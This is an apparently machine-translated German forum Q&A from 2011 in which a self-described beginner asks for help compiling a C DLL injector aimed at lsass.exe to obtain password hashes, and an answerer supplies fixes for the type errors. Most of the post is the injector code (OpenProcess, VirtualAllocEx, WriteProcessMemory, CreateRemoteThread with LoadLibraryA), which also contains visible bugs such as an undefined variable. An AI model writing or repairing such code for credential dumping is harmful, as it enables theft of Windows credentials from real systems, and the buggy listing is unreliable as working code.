2011-01-10 7 views
0

hey ich versuche, eine DLL in einen Prozess zu injizieren, d. H. Lsass.exe, um Hashes zu bekommen.Sein bisschen hacky, kann aber nicht helfen, mein Projekt. Ich habe einen Code der Injektion dll aber in Visual C++ gibt es Fehler wie ..dll Injektion mit C

bei TEXT ("LoadLibraryA")))) ---- >>> Argument const wchar unvereinbar mit LPCSTR

bei lpFuncAddr ----------- >>> Argument Typ "LPVOID" unvereinbar mit dem Parameter-Typ "LPTHREAD_START ROUTINE"

Code:

BOOL InjectDLL(DWORD dwProcessId, LPCSTR lpszDLLPath) 
{ 
    HANDLE hProcess, hThread; 
    LPVOID lpBaseAddr, lpFuncAddr; 
    DWORD dwMemSize, dwExitCode; 
    BOOL bSuccess = FALSE; 
    HMODULE hUserDLL; 


    //convert char to wchar 
    char *lpszDLLPath = "hash.dll"; 
      size_t origsize = strlen(orig) + 1; 
      const size_t newsize = 100; 
      size_t convertedChars = 0; 
      wchar_t dllpath[newsize]; 
      mbstowcs_s(&convertedChars, dllpath, origsize, orig, _TRUNCATE); 

    if((hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM_OPERATION 
     |PROCESS_VM_WRITE|PROCESS_VM_READ, FALSE, dwProcessId))) 
    { 
     dwMemSize = wcslen(dllpath) + 1; 
     if((lpBaseAddr = VirtualAllocEx(hProcess, NULL, dwMemSize, MEM_COMMIT, PAGE_READWRITE))) 
     { 
      if(WriteProcessMemory(hProcess, lpBaseAddr, lpszDLLPath, dwMemSize, NULL)) 
      { 
       if((hUserDLL = LoadLibrary(TEXT("kernel32.dll")))) 
       { 
        if((lpFuncAddr = GetProcAddress(hUserDLL, TEXT("LoadLibraryA")))) 
        { 
         if((hThread = CreateRemoteThread(hProcess, NULL, 0, lpFuncAddr, lpBaseAddr, 0, NULL))) 
         { 
          WaitForSingleObject(hThread, INFINITE); 
          if(GetExitCodeThread(hThread, &dwExitCode)) { 
           bSuccess = (dwExitCode != 0) ? TRUE : FALSE; 
          } 
          CloseHandle(hThread); 
         } 
        } 
        FreeLibrary(hUserDLL); 
       } 
      } 
      VirtualFreeEx(hProcess, lpBaseAddr, 0, MEM_RELEASE); 
     } 
     CloseHandle(hProcess); 
    } 
    return bSuccess; 
} 

int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdLine, int nCmdShow) 
{ 
    if(InjectDLL(PROCESSID, "hash.dll")) { 
     MessageBox(NULL, TEXT("DLL Injected!"), TEXT("DLL Injector"), MB_OK); 
    }else { 
     MessageBox(NULL, TEXT("Couldn't inject DLL"), TEXT("DLL Injector"), MB_OK | MB_ICONERROR); 
    } 

    return 0; 
} 

ima Anfänger dLL und Windows-Programmierung so Ich schätze deine Hilfe.

Antwort

2

Es sieht so aus, als ob Ihre Funktionen LPCSTR anstelle von LPCTST erwarten. Verliere die TEXT() Makros und es sollte in Ordnung sein.

Für den zweiten Fehler sollten Sie in der Lage sein, lpFuncAddr mit einem einfachen statischen Cast zu einem LPTHREAD_START_ROUTINE zu casten.

if((hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpFuncAddr, lpBaseAddr, 0, NULL))) 
+0

thnx ich versuche es – AJINKYA